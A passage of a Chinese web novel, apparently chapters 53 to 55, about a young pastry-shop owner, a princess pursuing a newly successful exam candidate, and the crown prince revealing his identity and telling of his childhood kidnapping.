知道她准备会试之后开新店,两人说什么都要去吃口新鲜点心的。 不对,他们分明会去捧场! 可要付一点点代价,那就是苏茵茵这里最后一点柠檬红茶的材料,也被李雨情带走了。 她真的特别特别喜欢! 这样酸甜滋味的柠檬茶,既新奇又好喝。 特别是柠檬的味道,酸酸的,还很清新。 金彦磊更是怨念,明明是他先认识苏茵茵的,柠檬茶却尽数归了郡主,这算什么事啊。 “你不是来找姻缘的吗,怎么就吃上了。”金彦磊说着,那边李雨情才不管呢。 李雨情举起柠檬红茶的纸包,抬起下巴:“怎么?不服气?” 一边调侃金彦磊,一边往前走,不留神正好撞到小跑过来的一个男人。 这男人身子健壮,明明是李雨情撞过去,自己却后退几步,被对方扶着,这才站稳,但手里的纸包掉在地上,里面的材料散落一地。 李雨情震惊道:“你这人怎么回事!走路不长眼睛吗!” 黎兴微微皱眉,刚想说这并非他的错,但看到地上的东西,眼神一软:“抱歉。” 说着,把地上的东西捡起来,想要还给对方:“这都是风干过的,洗洗应该还能用。” 洗洗还能用? 别说李雨情了,就算是金彦磊此刻也不会再要。 材料都散落在地上,真的脏兮兮啊。 李雨情生气道:“你在说什么,这东西还能吃吗?你到底知不知道眼前的柠檬红茶多难得?” 后面跟过来的苏显看了看众人,跟金彦磊微微点头,解围道:“等家妹再做一批,到时候黎兴再还给你。” 李雨情听到对方说家妹,便知对方是苏茵茵的哥哥,那确实不好说什么。 那李雨情抬头一看,惊愕道:“你们兄妹两个,生的都那样好?” 苏显面容白皙,身材高大,只是气质微冷,不苟言笑,听到别人夸他相貌也面不改色,只是谦逊说了句没有。 他旁边的黎兴则是另一个类型,皮肤黝黑,轮廓深邃,明明是书生,却有种猎豹的气势。 李雨情方才着急手里的柠檬红茶,这会再看黎兴的相貌,心里也不由得感叹,嘴上却道:“长得那么黑,做事也无礼。” 黎兴直接道:“这位姑娘,方才分明是你撞的我,严格来说,并非我的过失。” “你还敢狡辩!”李雨情刚要生气,又想着苏茵茵的哥哥在,不好留下坏印象。 不过有了这桩事,李雨情跟金彦磊又跟着回了苏家。 掉在地上的柠檬红茶原材料最后进了黎兴手中,按他的话说,他并不嫌弃掉在地上,能尝到家乡的味道,他很高兴。 苏显带黎兴来家里,确实是这个目的。 李雨情歪头看向黎兴,这个人倒是不一样。 最后的结果,自然是李雨情跟金彦磊看着苏显,黎兴大口吃着柠檬凉面跟柠檬红茶。 苏茵茵实在看不过去,泡了柠檬水给他们,稍微加了点冰块蜂蜜,已经好吃的不得了。 黎兴感叹道:“等这些吃法传开,家乡的百姓们会更开心。” 他们这群人,上至皇亲国戚,下至黎明百姓,都喜欢这几样吃食,已经可以想象到会何等风靡。 李雨情道:“想推广柠檬,那还不简单,我进宫同皇后娘娘说一说,让皇后娘娘夸赞,岂不是更好。” 她本意是想帮帮黎兴,看他那么为家乡人考虑,便顺手做一做好了。 “不可!” 苏茵茵,苏显,黎兴同时道。 三人对视一眼,明显知道对方为何不同意。 金彦磊跟李雨情不解。 为什么啊。 苏显看向妹妹:“妹妹做的吃食,你来说吧。” 苏茵茵点头:“香橼并非主食,价格也不算低,适量购买还好,若整个万龙国蜂拥而至,会有极为严重的后果。” “买的人多了,自然会有地主、佃农把原来的稻田推平,改种柠檬树。” “若按照现在的模式,只是在不适合的山地上种一两棵,做个平时的添头还好。如果把良田改为柠檬种植,那后果便是当地粮价飞涨,民不聊生。” 苏显黎兴点头。 可以推广食用,但绝对不能太过,不能侵占原本的农田。 吃饭,才是头等要事。 改善口味,必须在吃饱之后。 苏茵茵继续道:“我做的也都是夏季美食,这些食物都适合夏天用,消耗数量始终有限。如果让贵人来推广,那才是举国上下都要尝尝了。” 不出三五年,当地的粮价必然涨到一个可怕的地步。 原来是这样。 金彦磊,李雨情傻眼了。 他们没想到这一点啊。 黎兴点头:“确实如此,如今这些吃食已经很够用了,而且还要当地官府配合,着重监察当地私改农田的事。” 聊着聊着,李雨情跟金彦磊已经插不上话。 最后苏显道:“民以食为天,如今朝中重视粮食,绝对不会坐视不管。” 再从苏家离开,两个人摸不着头脑。 普通人都这样厉害吗? 这三个人,两个小官家子女,一个等着考会试,说的话却鞭辟入里。 黎兴要去南城民居,正好跟他们俩同路。 见他拿着掉在地上的柠檬红茶,李雨情干脆道:“要不你别吃了,等苏姑娘这边做出来新的,我买来送给你。” 黎兴却道:“没关系,不能浪费东西。” “哪里有浪费。”李雨情觉得话说不通,又问道,“你这人怎么不分好赖。” 黎兴不解:“你愿意给我,我想要,便是不分好赖吗。没人规定,一定要接受别人的东西。” 黎兴认真解释:“李姑娘,感谢你的好意,但我真的不需要。” 李姑娘? 金彦磊跟李雨情才意识到,对方还不知道他们的身份。 这让李雨情提起兴趣,主动道:“好吧,不需要的就算了。” “你现在需要什么,我都可以给你。” 黎兴更加疑惑,沉默片刻:“需要安静?” 金彦磊直接笑出声。 好个李雨情,平日要什么有什么,现在想把东西塞到别人手里,人家却不接受。 笑眯眯的金彦磊直接去了宫里,脸上带的笑意,在看到东宫大臣议事时还没收敛。 金彦磊去东宫的时候,田大人也在,同样在说农桑之事。 平日这种情况,金彦磊是绝对不会开口的,开口便露怯,今日把在苏家听到的囫囵说了遍,田大人竟然惊奇地看向他:“不错不错,从未下过田间,却有如此见识,颇有天分啊。” 李锐渊抬头看他一眼:“说吧,哪里听到的。” “苏家。”金彦磊老老实实回答。 田大人听完过程,心里满意至极:“今年的考生中,竟然有如此出众的,真是了不起。” “还有那十四岁的小姑娘,竟然深谙其中道理,看得极为长远,好,太好了。” “万龙国有如此人才,何愁不能创建一个盛世!” 田大人的学生在旁边看着,心道他们老师平生最讨厌拍马屁的人,可现在好听话却不要钱一样冒出来。 但他们也知道,这并非假话,而是抱着满腹志向,终于找到伯乐,谁不激动啊。 谁能想到,朝中不仅稳定政局,安抚百姓,还把世家贵族嘴上尊重,实际看不上的农耕摆在第一位。 更把隐居山间的田老农请出来,直接做了今年会试主考官。 李锐渊听到金彦磊提苏茵茵,看似不经意道:“她家新店什么时候开业。” “会试之后,四月二十五吧。”金彦磊立刻回答,少见敏锐地盯着太子殿下看。 他算是发现了,每次提到苏茵茵,太子都会格外在意。 四月二十五,那会殿试应该也结束了。 这两人之间必然有联系! 虽然这个联系他不知道怎么回事。 而且每次想要多问几句,都会被太子打断。 谁料这次,李锐渊却道:“要准备一份开业礼物。” 这下兴奋的田大人都察觉到不对劲,太子只道:“私底下的交情,不用多想。” 这话是不用多想吗? 还是一定要多想? 东宫内里几个官员面面相觑。 他们都确认,自己不会往外乱说。 所以殿下才讲出来? 他也并非如此不谨慎的人啊。 等到大家散会,才有人拉住金彦磊道:“那苏家姑娘,跟太子到底什么交情?” 金彦磊摇头:“问太子殿下去。” 他们敢吗? 不管是谁,反正那人肯定重要。 等到开业的时候,让家里人去碰碰场好了。 但等他们回家一说,家里老小高兴道:“当真?慧女点心要开新店?还定了日期,更有新品?” 家人怎么这般兴奋? 妻子撇撇嘴:“你日日要仆从去买的点心,不就是她家的,每次出新品,你吃的比我们都多。” 原来是这家店啊! 他们说呢! 这家店还用得着他们捧场? 分明是他们沾光啊! 到了四月,苏茵茵新品研制成功,连挑剔的雨情郡主都说极好,证明是时候开店了。 苏娘子很是高兴,苏指挥使先带人打扫了新店的卫生,又找工匠听女儿的吩咐。 万事俱备,就差她去新店准备开业了! 李雨情跟着去了几次,里面不是在打柜子,就是在收拾厨房,偶尔会碰到苏显跟黎兴。 黎兴跟之前一样,只要不触及他在意的事,态度都很好。 就算李雨情故意找麻烦,他也只是笑笑。 至于李雨情要给他银钱给他换住的地方,全都被他拒绝。 唯一没拒绝的,大概就是几份上好的时文,还是她托父亲去翰林院要的。 但等会试开始前几日,黎兴彻底不在,显得李雨情也蔫蔫的。 “也不知道种地好不好玩。” “是不是种地才会那样黑。” 苏家兄妹不知道该怎么回事,反而李雨情问苏显道:“他会种田吗?” “黎家务农,他从小帮着做事。”苏显答道。 “那还是你好,你长得白。” 苏显好笑无奈,帮着妹妹抬柜子,又帮着做灶台,只留下李雨情自己坐在凳子上,最后道:“也不知道他能不能考上。” 等到会试结束,苏家兄妹准备去考场接黎兴时,李雨情也过来了,她道:“你们不是说,他在京城没有家人吗,那也太可怜了。” 苏茵茵已经不是当初的苏茵茵。 经历过玉凤姐姐的事后,她不敢置信地看向李雨情。 不会吧? 难道是? 苏茵茵往哥哥身边靠了靠:“哥?” “嗯。”苏显让妹妹扭过头。 等会,她哥早发现了?! “苏公子,这是谁呀。” 另一个温柔的女声从后面传来。 苏茵茵看过去,女子脸上写了诧异,手指紧紧攥着衣袖。 她身后的丫鬟满脸怒火,而且是对着自己? 苏茵茵这次反应更快,迅速跳到另一边:“他妹妹,亲妹。” “你好我叫苏茵茵,请问你是?” 第54章 “苏家妹妹好,我,我名唤孟依柔。”女子轻声道,脸色浮现红晕,明显为刚刚的冒失感到不好意思。 她身边的丫鬟更是赶紧行礼,脸上写满抱歉。 苏茵茵连忙道:“孟姐姐好。” 苏显解释:“孟小姐的三哥今日会试,应该是来接三哥哥出考场的。” 原来是这么回事。 那干嘛在意你身边的人是谁。 “出来了!终于结束了!”李雨情指着门口道。“快找找他们啊。” 李雨情身边两个丫鬟也帮忙寻人。 她们显然知道找的人是谁。 黎兴跟孟家三公子走出来,前者还好,他体力尚可,后者要家中小厮搀扶才能走。 “不想考了,再也不想考了,已经考三次会试,再考不上我就去做县令。”孟家三公子跟好友苏显打招呼,看到苏显身边的漂亮女孩子,赶紧打起精神,“你就是苏显常常挂在嘴边的妹妹吧。” “见过苏妹妹。” 苏茵茵回礼,余光看到李雨情跟黎兴两人,只是看模样,后者还一无所察。 想当年,她也是这般迟钝。 再看看自己哥哥跟孟姐姐,她还明白,为什么她哥反应那么快了。 但哥哥并未主动搭话,而是站在自己身边,明显有避嫌的意思。 会试结束,考生们总算轻松下来,身边人声鼎沸,基本都在考虑今年的考题。 全都是农耕方面! 那些家境贫寒的子弟倒是运气好,他们可不是五谷不分的人。 黎兴则住到了苏家,虽说他身上还有银钱,但现在跟苏显关系好,而且考完之后,是要好好休息。 苏家对此自然不介意,腾出苏显的书房给他住。 这样一来,苏茵茵发现,李雨情来她家更勤快了。 说是来找她,其实就是想跟黎兴说说话。 虽然更多时候,是她说,黎兴听,好在句句有回应。 其他时候还好,但黎兴称呼李姑娘时,苏茵茵还是多看一眼。 李姑娘? 旁边的金彦磊赶紧给她使眼色,低声道:“别问。” 那意思就是,黎兴不知道李雨情其实是郡主? 这让苏茵茵格外意外,难免想到什么,那边金彦磊还打岔:“你家新店是不是快开了,准备的如何。” 苏茵茵道:“一切都好,就是我想做个特殊的炉子,可以让炉子内部温度更加均匀,但一直找不到合适的工匠。” 以后肯定要做更多点心,所以她想把设备也升级一下。 金彦磊若有所思,开口道:“回头我帮你找个匠人。” 黎兴那边听了,也帮忙分析原因,他之前攒读书束脩的时候,跟着乡下匠人做过事,知道一点。 等炉子的事说完,苏茵茵去厨房帮金彦磊装一些他要的柠檬红茶。 李雨情瞪着黎兴道:“你方才话怎么那样多。” 黎兴不明所以:“怎么了?” “你看,对我话就很少。”李雨情颇有些委屈,“对苏姑娘话就很多。” “你不会喜欢她吧。” 黎兴脸上出现震惊:“别乱说,有损女子清誉,说出去让人误会。” 李雨情知道自己说错话,却也不想承认,小声道:“误会吗。” “是,苏家父兄前途远大,我家与他家并不一样,这种事还要门当户对的好。”黎兴跟之前一样,依旧认真分析,并没有一丝格外的情感。 李雨情眨眼。 在她看来,两家差不多啊。 苏家父兄是不错,但在京城不算什么,就算苏显以后考上举人进士,也不过是刚刚起步而已。 这都觉得差距太大。 那她呢? 李雨情身后的丫鬟小心拉了拉郡主袖子,您别发呆了,省得被看出来。 等黎兴解释之后,他郑重道:“你应该向苏姑娘道歉,以后再也不提。” 李雨情本就知道自己错了,现在被黎兴提起,老老实实跟苏茵茵道歉,并道:“以后我再也不这样了,我保证。” 苏茵茵还以为是什么事,但见郡主低头,还是有些怪异。 等到大家要走,李雨情想了想,主动找过来,对苏茵茵道:“我方才那句话真的没过脑子,不是针对你。” 这段时间的相处,苏茵茵也看出来了,安慰道:“没事,反正你已经道歉了啊。” “那我以后还能来找你吧?”李雨情这才开怀,又小声道,“还有,我觉得你真的是小红娘。” 苏茵茵听到这,认真对她道:“红娘不红娘的另说,但不管什么相处,最好都不要有隐瞒。” “被隐瞒的人会很难过。” 苏茵茵很少这样说,她总是笑眯眯的,但她害怕被隐瞒,也害怕被欺骗。 比如在孤儿院时,有人说找到她爸妈了,还说家里没有钱,养不起她,也没有时间,更不能来看看她。 她偷偷跑出去,想看看自己的爸爸妈妈,可他们分别成家,还有了别的孩子。 他们不是没有钱,也不是没有时间。 只是觉得她很麻烦而已。 她还以为自己都忘了。 没想到还是觉得难过以及小小的扭曲。 “别骗他。” 李雨情纠结片刻,认真点头:“好,我会说的。” 可让他们都没想到的是。 黎兴知道李雨情真正身份后,只是短暂诧异,并没有其他反应。 会试放榜前一日。 苏家兄妹,黎兴,李雨情,还有孟家兄妹,都在苏家新店帮忙。 说是帮忙,多是缓解放榜前的焦虑。 孟家三公子深呼吸,就差把紧张写在脸上,他是山家书院的学生,今年科考题目还算对他们书院的胃口,已经是他这几年发挥最好的一次。 反观黎兴跟之前一样,这是他头一回考会试,中不中都正常。 而且他隐隐觉得,自己写的文章应该不差。 但这会就不必说出来了。 李雨情今日话很少,她觉得自己才是最紧张的那个。 要跟黎兴说自己的身份了,要是对方生气了怎么办啊。 又或者他变得跟其他人一样,知道她爹是谁,就开始巧言令色巴结上来? 不论哪种反应,都不是她想要的。 “早知道不该隐瞒的。” 苏茵茵对这些并不关心,她正在看自己的店铺。 厨房两个普通烤炉已经完工,特制的烤炉还要个三四天,真正能用,估计到四月二十。 而她二十五就要开业。 希望一切顺利! 这是她头一次自己开店呀! 那边孟家兄妹两个性格,孟三公子还在抖腿,孟小姐多是跟苏显说话。 苏显看着还好,其实说话明显轻缓了些。 苏茵茵心道,她爹娘是不用愁哥哥的事了吧。 不多时,孟家兄妹家中有事,让他们回去。 李雨情见此更紧张了。 她要说了! 真的要说了! 李雨情吃了口柠檬红茶,对黎兴道:“明日若考上了,那你准备做什么?” 黎兴答:“还有殿试要准备。” 这也没错。 “殿试之后呢?”李雨情追问。 “准备外放。”提到这,黎兴话多了些,“想把多年所学,一展抱负。” 这几乎是所有读书人的心愿。 能让所学得到展示,成就一番事业。 李雨情皱眉:“我身边的举子,都想留在京城。你要是愿意的话,我可以帮你。” 黎兴诧异:“不用,留京有留京的好处,外放虽吃苦,却是最锻炼能力。” 这要不是黎兴头一回拒绝,李雨情倒是不诧异,她继续道:“我爹是郡王,还姓李,你想做什么都可以的。” 如若别人听到这话,肯定要高兴的跳起来。 李姓郡主的承诺,以后此生都可高枕无忧。 黎兴确实惊讶,还认认真真行礼,最后道:“不用了,谢谢郡主。” 没有生气,也没有巴结,没有过多情绪。 为什么。 苏茵茵有些诧异,还是哥哥给了答案:“因为黎兴没有期待。” 没有期待,就不会有过多的想法。 是这样吗。 她当年对爸爸妈妈的失望,就是期待。 所以害怕惹麻烦,害怕是累赘,还怕花太多钱。 更怕欺骗。 苏茵茵知道自己有点别扭,还知道这种情绪不对。 但就是忍不住啊! 虽然苏显的话李雨情并未听到,但她到底比苏茵茵年长两岁,过了会还是反应过来。 “你是木头吗?” 说完这话,李雨情小跑离开。 黎兴就是个木头,大木头。 他怎么不来巴结自己。 自己能给他的,可比别人多多了。 黎兴傻眼之余,还是没有木头到底,最后无奈道:“以后还是少接触吧。” 两人是完全不同的人,兴趣爱好完全不一样,自己不要高攀的好。 “她只是觉得我不一样,其实看多了就知道不合适。”黎兴断言道。 不过走出店门,他想到雨情郡主方才的神情。 那么快乐的人,应该不会太难过吧? 苏茵茵认同的点头。 没错,不一样的人,不一样的阶级,真的不好在一起。 但黎兴有些不同,他若能考上进士,并且名列前茅,差距还能拉小点。 苏茵茵没想到这句话竟然真的应验了。 四月十五当日放榜。 黎兴大名就在上面。 二甲第十三名。 今年会试,他是第十三名! 这样的成绩,让黎兴自己都傻眼了。 多年苦读,能考中已经是万幸,竟然还是第十三。 “恭喜恭喜,第十三啊,黎兄如此才华,果然厉害。” “是岭南人吧,我们家也是岭南过来的,以后多多认识才是。” “恭喜恭喜,看榜上说,你还未婚配?” 众人几乎要把黎兴淹没。 但黎兴下意识回头,正好看到目光殷切的雨情郡主,一瞬间心里触动,很快还是挪开眼,跟周围人道谢。 可李雨情不退反进,走到他面前道:“这回还有理由吗?” 此时的东宫,郭展则在回想方才太子同雨情郡主说的话。 “他不喜欢你。” 雨情郡主答:“但我每句话都有回应。” “他喜欢你。” “可他对我的欺骗,一点反应都没有,怎么办。” 李锐渊沉默。 说的好像他知道怎么办一样。 郭展闭上眼,太子殿下最后一句话是。 “那就厚着脸皮,死缠烂打。”??? 这合适吗! 您怎么教的啊。 其实李雨情没想过问太子这个问题。 只是从皇后娘娘寝宫出来时,正好碰到了,还是太子主动问她,她才说出疑惑。 等从皇宫出来,她便直接去了贡院门口。 没想到的是,黎兴竟然那样厉害! 会试第十三! 这成绩在京中子弟里,都算拔尖的。 所以她直接走过去,根本不给对方躲避的机会。 黎兴确实避无可避,但他意识到另一点,在这方面,他比对面的女孩子懦弱胆怯。 但这也不是他的错,只是两个人的差别。 苏家兄妹赶来的时候,孟家兄妹已经看完榜单。 孟三公子兴奋的跳起来:“二甲!我进了二甲!太好了!终于考中了!” “黎兴你呢!” 孟三公子是从后往前看的,他知道自己不会在前几名,他能考中一百九十六,已经很好了。 这会被妹妹孟小姐一指,瞬间老实:“第十三?厉害啊!我的天,若殿试发挥的好,说不定能考上状元?” 说完他忍不住兴奋:“以后我就有个状元朋友了。” 黎兴看了看李雨情,垂眼道:“我努力。” 几个人边说话边往回走,约好晚上找个酒楼好好吃一顿,也算缓解最近一段时间的压力。 不过这会,肯定是回家报喜的。 只剩孟小姐跟苏显走在最后。 孟小姐安慰苏显道:“等你再考,一定也会榜上有名。” 苏显笑笑,并未多说,快步追上其他人,只留孟小姐有些怅然。 晚上,汴京街道依旧热闹。 不管考上还是没考上,所有人的压力都小了很多。 等他们到了预定好的酒楼,孟三公子还对苏茵茵格外殷勤,跟她介绍道:“这家酒楼口味极好,之前就想你们来吃,只是这段时间太紧张。” 说着,孟三公子还道:“苏妹妹有什么喜欢的吗,尽管点就是。” 苏茵茵婉拒,这就不用了。 六人坐定之后,话题便又到科举上。 很快黎兴跟孟三公子就要参加殿试,这也是科举的最后一步。 孟三公子还道:“到时候还能看到太子殿下,别看他去年才观政,但能力极强,万龙国有这样的太子,以后几十年必然安稳无忧。” 一时间,桌子上一半人沉默。 还是李雨情先道:“他确实厉害,小时候别人都不爱学习,就他日日读书。” 这么想着,李雨情想了想:“也不是,好像每三日会休息一日,但是读书的时候极为刻苦。” “你这都知道?”孟三公子震惊,“太子休息都做什么啊,让我们学学啊。” 苏家兄妹同时摸摸鼻子。 做什么,来苏家呗。 教苏茵茵读书。 想到这点,苏显还有点介怀,明明是他要教妹妹读书的,却被对方抢先一步,现在他都能记得。 李雨情道:“不知道啊,或许是看病?他身体不算好,要不是宫里小心细致养着,估计还不能观政呢。” 想到当年的事,李雨情还有些胆战心惊,那时候她也才三四岁,被娘亲护在郡王府密室里。 就这样都有些后怕。 更何况太子还被叛军掳走。 她爹都说,太子能平安,能恢复康健,实属不易。 其实有几年里,大家都觉得太子或许坚持不了几年。 当然这话只在家中讲讲,不敢外传。 孟三公子感慨:“当太子也不容易的。” 晚饭过后,一群少年人颇有些意犹未尽。 李雨情也不想走,干脆道:“要不我们随便逛逛?反正最近没有宵禁。” “这个好,最近街上热闹。”孟三公子立刻符合。 但等他结账的时候,店小二却道:“已经有人付过钱了。” 谁? 众人面面相觑。 店小二继续道:“是位姓原的客人,他刚走。” 原锐。 苏家兄妹瞬间明悟,只好道:“是我家的好友。” 那怪不得啊。 “他怎么不来打个招呼。” 看着这一切的金彦磊快笑不出来了。 反正跟脸色冰冷的太子坐一桌,他恨不得趴地上吃。 而且据他观察。 只要那桌子上姓孟的给苏茵茵夹一次菜,太子脸色就冷八度。 他感觉跟提前过冬天一样啊。 “殿下,咱们不过去吗,李雨情她肯定不敢戳穿。”金彦磊赶紧道。 李锐渊却道:“不去。” 不能再用原锐的身份。 否则以后怎么也说不清。 他如何出现,已经是个大问题。 用原锐身份,茵茵必然回他一个假笑。 用李锐渊的身份,她肯定不会留情面。 用太子身份? 只怕她会恭恭敬敬行礼。 那他更忍不了。 唯有最后一个答案。 死缠烂打。 苏茵茵四处张望了下,正好对上李锐渊的眼睛,看的她有些心虚。 她哥那些话还在心里晃。 期待吗? 自己期待跟对方的关系。 所以才会生气,会远离。 因为她本质上就是个别扭的人。 再加上对方的身份,就让这份期待变得格外渺茫。 她能做的,就是后退很多步。 可同时她又明白,退的越多,就是想进的越多。 而且不止一个人说过,太子病的很严重,是厌食症吗? 听他们讲,又不止是这件事。 仅仅出现一面的原锐,就让苏茵茵半夜才睡。 第二天一想,不能再纠结了。 还是赶紧去新店看看吧。 新店所有准备都在收尾状态,就连店员都已经找好,还在慧女点心实习过,完全不用担心熟练程度。 剩下的便是打扫卫生了。 左右无事,不如现在就开始。 苏茵茵用帕子围住口鼻,撸起袖子准备干活。 店门被敲了几下,门口正是原锐。 会试结束,他出现在宫外的次数明显变多。 郭展先一步打招呼:“茵茵姑娘,新店准备的差不多了吧。” 苏茵茵点头,开口道:“但还没开门,不能接待顾客。” “我不是顾客,来帮忙的。”李锐渊沉声道。 苏茵茵看看他一身衣服,干脆道:“我要打扫卫生,你会吗。” 这让李锐渊顿住。 他没有打扫过。 “可以学,你能教我吗。”李锐渊学着她,找了块帕子围住口鼻。 只看他的眼睛,少了几分凌厉,多了几分说不清的温柔。 郭展欲言又止,主动揽下店面的卫生,厨房留给他们。 苏茵茵还想着昨晚的事,既想找机会还钱,又知道他肯定不在乎。 再者还想问问他到底生的什么病。 问题太多,索性不说好了。 但她现在也知道,这么耗着也不是回事,既然原锐不肯默契离开,那肯定要聊一聊。 这么想着,苏茵茵反而平静下来。 认识这么多年,原锐还是很讲理的,而以后当朋友是最好的选择。 谁不想要一个金大腿! 打扫卫生并不难,只是很繁琐,需要人耐心细致。 等李锐渊学得差不多,几乎包揽所有活计。 厨房收拾好,苏茵茵泡了几杯柠檬水,还端到外面给郭展喝。 剩下两杯是她跟原锐的。 苏茵茵斟酌一会,还是道:“我还是叫你原锐吧。” 身份问题横在两人中间,谁都心知肚明。 苏茵茵现在不想拆穿。 李锐渊却都道:“我叫李锐渊。” “抱歉,一直没说实话。” 李锐渊。 原锐。 名字给反过来了。 苏茵茵刚要开口,对方又道:“当时局势并不安稳,不好直说,毕竟我小时候被叛军掳走过。” 掳走。 叛军。 “茵茵这么聪明,肯定猜到我的身份,当年的病根,也是从那年落下。” 这几句话,几乎说中苏茵茵心中所有疑惑。 当年朝中局势复杂。 至今还没人敢提起。 十四五年前,万龙国外面打仗,内里匪盗横行,已然是乱世之相。 先皇不满当年的太子许久,觉得他太过残暴,极为偏私。 朝中许多贪腐之臣,便是先太子的手下。 先皇年纪越大,越喜爱平时忠厚的今皇,而且朝中肱股之臣多也更喜今皇。 特别是今皇一党的宁郡王等人攘外安内,平定异族战乱,已经让先皇痛下决心,在病重之际改了诏书。 废除先太子,另立今皇。 但这种事,注定充满血雨腥风。 好在今皇早有准备,皇后娘家文官一党鼎力支持,总算稳住局面。 就在先皇驾崩,新皇即将登基之际。 幽禁的废太子联合旧部发动政变。 李锐渊就是那时候被掳走。 皇上皇后焦急万分,一个稳住前朝,一个稳住京中世家大部分势力。 没想到儿子被人弄走了。 废太子强弩之末,已经是困兽之斗,宁愿自尽也不说出李锐渊到底在哪。 从初冬一直到次年正月十五。 足足三四个月的时间,压根不知道他被关在什么地方。 皇上皇后翻遍整个京城,终于在皇宫后山废旧的暗室里找到他。 三岁的孩子,身边都是早已自尽的尸体。 那些叛军得知废太子已死,自知此生无望,直接自杀在暗室里。 当时太过慌乱,这些人早就不在意什么小孩子,自杀免受折磨才是真的。 等李锐渊磨断绑着他的绳子,这些人的尸体腐肉跟准备的粮食早就混在一起,浸透了腐尸的味道。 他也尝试逃生。 但手上的麻绳断了,脚上的锁链也没有办法。 直到正月十五那日破晓。 李锐渊终于被人发现,从暗室里救了出来。 当时的宁郡王,至今不敢回想当时的场景。 即使是冬日,这些人的尸体也过了好几个月,隐隐的尸臭味,腐烂味,还有阴冷不见阳光的地下。 换做成年人都会崩溃。 何况一个三岁孩子。 从那之后,原本还算活泼的李锐渊就像换了一个人。 性格突变已经让人发愁。 最让所有人难受的是,他每日只能吃一点点食物,再多就会吐出来,整个人骨瘦如柴。 皇上皇后遍寻各地美食都没有办法。 甚至有御医说过,若等太子再长大些还这般,那身体肯定承受不住。 稍微生一场病,就会不堪设想的后果。 “直到遇见了你。”李锐渊最后道。 “或者说,在你出生的那一天起,我就遇见你了。” 第55章 李锐渊走之后,苏茵茵不知道说什么好。 即使她知道,这背后肯定是不忍细听的故事。 可听完之后还是心里堵得慌。 她不能想象,一个三岁孩子跟许多尸体待在一块,那是什么感觉。 李锐渊最后还说。 自她出生起那一日,两人在某种时刻已经遇到了。 一个人出生。 另一个人被救下来。 这也能联系到一起吗。 会不会有点牵强。 但李锐渊显然深信不疑。 留下这个重磅消息之后,他把新店收拾好,便带着人离开。 等会,她还有事情没问呢。 “茵茵,茵茵在吗。”外面传来李雨情的声音。 苏茵茵算发现了,她最近就跟李锐渊的亲戚们走得近。 李雨情见她答应,赶紧走进来:“茵茵,你能不能帮帮我。” “你可是小红娘啊。” 发生了什么? 李雨情气得要命,说了昨晚发生的事。 昨天在酒楼吃过饭后,原本是要回家的。 李雨情一定要让黎兴送她回南城。 这不是什么要紧的。 可她藏不住话啊,直接问了黎兴的想法。 黎兴再次婉拒。 拒绝的理由还是一样,他们是不同的人。 李雨情却偏偏觉得他特殊,不一样又怎么了。 两人不欢而散。 今日李雨情再去找,黎兴只让苏显出来婉拒。 “不就是身份吗,这又有什么了,我都不介意。”李雨情直接道,“他想什么啊,他都考上进士,还是第十三名,这还有什么不合适的。” “难道是他不喜欢我?” “这怎么可能。” 苏茵茵认真听了,解释道:“或许有很多现实考量。” “他以后是要外放的,郡主你能接受吗?要去的地方肯定比京城差。” “他还有自己家人,家人养育他供他读书,你们之间要是有分歧怎么办。” “还有,你爹爹舍得让你吃这些苦吗。” 李雨情头一次直面这样现实的问题。 外放,黎兴的家人,还有她爹。 这些问题还没有答案,李雨情却道:“你小小年纪,怎么会想那么多,我在你这个年纪日日看话本,肯定会所有爱情拍手叫好啊。” 苏茵茵托腮:“不想不行啊,人长大了,就要多想一点。” “你还记得去年京城朱家的事吗。” “那不就是最好的例子。” “那还有何大夫跟窦玉凤呢,你怎么不说。”李雨情立刻反驳。 两个小姑娘坐在一起,齐齐叹口气。 难啊。 李雨情揉揉苏茵茵脑袋:“算了,不跟你聊,我还是去找堂弟聊。” 苏茵茵幽幽道:“你堂弟是谁?不会是太子吧。” “对啊,就是太子,上次他还给我出主意呢。”李雨情自己给自己泡了柠檬水,“他给了我四个字。” “哪四个?” “死缠烂打。”李雨情确定道,“感觉这个办法好。” 苏茵茵看向李锐渊没收回的水杯,呵呵一笑,眼睛转了下:“我正好有一批特质的柠檬红茶,正好你带过去,也算他帮忙的谢礼。” “这个好,谢谢你了小红娘。”李雨情连忙让她去拿,给银子的时候被苏茵茵谢绝,“没事,反正这些也没用。” 等这批柠檬红茶到了李锐渊手中,郭展第一时间冲泡过来。 又苦又涩的茶水让李锐渊笑容收敛,强行咽了一口,看向雨情郡主:“这就是特制的。” “对啊,她还藏在柜子里面,好不容易才拿出来,好喝吗?”李雨情刚刚看到太子表情,明明很满意啊,“你不喜欢?” 李锐渊咬牙:“很喜欢。” “我的建议是,让对方不要逃避,直面问题,如果她跑的话,就说她是胆小鬼。” 啊? 这样幼不幼稚?! 苏茵茵再听到这话,更是冷笑,准备食材时菜刀叮当响。 胆小鬼。 她才不是。 可她真的不是吗。 不管他们两个如何,李雨情那边主动出击了,她还有一句话没说,太子还告诉她,应该先同她爹讲。 扫平一切障碍,才能更好达成目的。 这算皇家内部的事,她不好说出来。 毕竟她爹那人,一直在逼着她嫁人。 不然怎么会去找小红娘,就是想要更好的姻缘啊。 李雨情先找了母亲,明里暗里说认识了今年会试第十三。 郡王妃多聪明的人,听出女儿话中关键,问道:“今年科举与往年不同,注重农耕,他是哪家的子弟,可是山家书院的学生?” 李雨情如实答了,郡王妃明显不解,可对方会试第十三,这成绩又着实不错。 若能为家中所用,倒是不错。 可再听对方的想法,有意外放历练,可见不会听人摆布,那这点好处又没了。 见母亲神色淡淡,李雨情终于明白苏茵茵跟黎兴的考量。 她前十几年过得顺风顺水,要星星不给月亮,身份高贵,家里宠爱。 唯独在婚事上跟家里有争执。 原本以为是小事,她只要撒撒娇,求求爹娘,便一定会让她嫁给自己喜欢的人。 可这段时间,却让她心里越来越不确定。 母亲话里的不在意,跟让她觉得有点害怕。 第二天一早,郡王府身边的嬷嬷过来,传话请郡主换好衣衫,家里有客来访。 什么客让她去见? 到了才知道,是一家亲王家的孙儿。 那位亲王年事已高,家中孙儿却不多,想要跟他家接亲,便是想亲上加亲,好巩固在朝中地位。 两家一拍即合,想要联姻。 李雨情就知道对方,书读不成,人也一般,妾室倒有不少。 以前宴会上见过,自己没搭理他。 现在两人见面,难免尴尬。 对方也没好到哪去,不过看到李雨情的相貌,显然又不介意了,甚至还凑上来主动搭话。 对此,双方家长都很满意。 李雨情皱着眉,总觉得家人越来越陌生。 她不相信爹娘看不出对方的品行,难道明知道对方不好,也让她嫁? 这让她十分生气,同时又觉得心里空落落的,好像很久之前的郁气根本散发不出来。 